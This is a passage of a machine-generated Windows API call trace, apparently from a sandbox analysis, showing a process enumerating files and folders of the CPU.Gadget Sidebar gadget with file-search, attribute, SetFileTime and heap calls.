hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0089.973] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0089.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.974] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.974] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2fc8 [0089.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131de00 [0089.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x90c0) returned 0x132a698 [0089.975] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0089.975] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0089.975] GetLastError () returned 0x12 [0089.975] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0089.975] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.975] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.975] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.html", cAlternateFileName="")) returned 1 [0089.975] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0089.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131df08 [0089.976] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\css"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.976] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0089.976] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0089.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333760 [0089.977] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333760, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1333760, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0089.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333760) returned 1 [0089.977] NtClose (Handle=0x180) returned 0x0 [0089.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131df08) returned 1 [0089.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efc50 [0089.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131df08 [0089.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131e010 [0089.978] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e91c0 [0089.978] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.978] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.css", cAlternateFileName="")) returned 1 [0089.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131e118 [0089.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efc50) returned 1 [0089.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2fe8 [0089.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131e220 [0089.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.981] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.css", cAlternateFileName="")) returned 0 [0089.981] GetLastError () returned 0x12 [0089.981] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0089.981] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.981] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.981] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.css", cAlternateFileName="")) returned 1 [0089.981] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.css", cAlternateFileName="")) returned 0 [0089.981] GetLastError () returned 0x12 [0089.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131e010) returned 1 [0089.981] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0089.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131e118) returned 1 [0089.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131df08) returned 1 [0089.982] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0089.982] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0089.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131df08 [0089.982] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\js"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.982] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0089.983] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0089.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333760 [0089.983] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333760, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1333760, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0089.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333760) returned 1 [0089.983] NtClose (Handle=0x15c) returned 0x0 [0089.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131df08) returned 1 [0089.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efc50 [0089.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131df08 [0089.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131e118 [0089.985] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0089.985] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.985] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x47ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.js", cAlternateFileName="")) returned 1 [0089.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131e010 [0089.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efc50) returned 1 [0089.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c3008 [0089.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131e328 [0089.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.987] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x47ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.js", cAlternateFileName="")) returned 0 [0089.987] GetLastError () returned 0x12 [0089.987] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e91c0 [0089.987] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0089.988] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.988] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x47ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.js", cAlternateFileName="")) returned 1 [0089.988] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x47ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.js", cAlternateFileName="")) returned 0 [0089.988] GetLastError () returned 0x12 [0089.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131e118) returned 1 [0089.988] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131e010) returned 1 [0089.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131df08) returned 1 [0089.988] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0089.988] GetLastError () returned 0x12 [0089.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131dae8) returned 1 [0089.989] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0089.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131dbf0) returned 1 [0089.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131d9e0) returned 1 [0089.989] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7c4b8bc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb7c4b8bc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb7c4b8bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x23e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0089.989] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8191f35e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8191f35e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0089.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131d9e0 [0089.990] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8191f35e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8191f35e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.990] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0089.991] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0089.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333760 [0089.991] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333760, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1333760, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0089.991] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333760) returned 1 [0089.991] NtClose (Handle=0x168) returned 0x0 [0089.991] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131d9e0) returned 1 [0089.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efc50 [0089.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131d9e0 [0089.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131dbf0 [0089.993] FindFirstFileExW (in: lpFileName="C:\\Program Files 